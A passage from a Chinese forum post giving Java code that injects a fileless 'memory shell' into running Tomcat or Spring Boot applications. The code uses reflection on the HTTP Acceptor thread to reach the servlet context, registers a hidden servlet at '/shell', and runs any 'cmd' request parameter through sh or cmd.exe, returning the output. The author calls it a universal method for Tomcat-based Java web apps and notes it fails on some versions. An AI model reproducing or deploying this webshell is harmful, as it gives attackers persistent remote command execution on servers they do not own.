  96.             if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
  97.                 Object target = getField(thread, "target");
  98.                 HashMap children;
  99.                 Object jioEndPoint = null;
  100.                 try {
  101.                     jioEndPoint = getField(target, "this$0");
  102.                 }catch (Exception e){}
  103.                 if (jioEndPoint == null){
  104.                     try{
  105.                         jioEndPoint = getField(target, "endpoint");
  106.                     }catch (Exception e){}
  107.                 }
  108.                 Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
  109.                 StandardEngine engine = null;
  110.                 try {
  111.                     engine = (StandardEngine) getField(service, "container");
  112.                 }catch (Exception e){}
  113.                 if (engine == null){
  114.                     engine = (StandardEngine) getField(service, "engine");
  115.                 }
  116.                 children = (HashMap) getField(engine, "children");
  117.                 StandardHost standardHost = (StandardHost) children.get(serverName);
  118.                 children = (HashMap) getField(standardHost, "children");
  119.                 Iterator iterator = children.keySet().iterator();
  120.                 while (iterator.hasNext()){
  121.                     String contextKey = (String) iterator.next();
  122.                     if (!(uri.startsWith(contextKey))){continue;}
  123.                     StandardContext standardContext = (StandardContext) children.get(contextKey);
  124.                     Servlet myServlet = new Tomcat6789();
  125.                     Wrapper newWrapper = standardContext.createWrapper();
  126.                     newWrapper.setName("xxx");
  127.                     newWrapper.setLoadOnStartup(1);
  128.                     newWrapper.setServlet(myServlet);
  129.                     standardContext.addChild(newWrapper);
  130.                     standardContext.addServletMappingDecoded("/shell", "xxx");
  131.                 }
  132.             }
  133.         }
  134.     }
  135.     @Override
  136.     public void init(ServletConfig servletConfig) throws ServletException {
  137.     }
  138.     @Override
  139.     public ServletConfig getServletConfig() {
  140.         return null;
  141.     }
  142.     @Override
  143.     public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
  144.         String cmd = req.getParameter("cmd");
  145.         boolean isLinux = true;
  146.         String osTyp = System.getProperty("os.name");
  147.         if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  148.             isLinux = false;
  149.         }
  150.         String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
  151.         InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  152.         Scanner s = new Scanner(in).useDelimiter("\\a");
  153.         String output = s.hasNext() ? s.next() : "";
  154.         //普通回显
  155.         PrintWriter out = res.getWriter();
  156.         out.println(output);
  157.         out.flush();
  158.         out.close();
  159.     }
  160.     @Override
  161.     public String getServletInfo() {
  162.         return null;
  163.     }
  164.     @Override
  165.     public void destroy() {
  166.     }
  167. }
复制代码
这是在所有基于tomcat的javaweb的一种通杀方法,我们可以获取当前所有进程,总可以获取到总服务里的springboot的进程,如许进而获取此中的context,然后再注入内存马。但是似乎代码逻辑有题目,springboot2+tomcat9的情况下会报错,别的情况未尝试,待解决....

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

我爱普洱茶

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表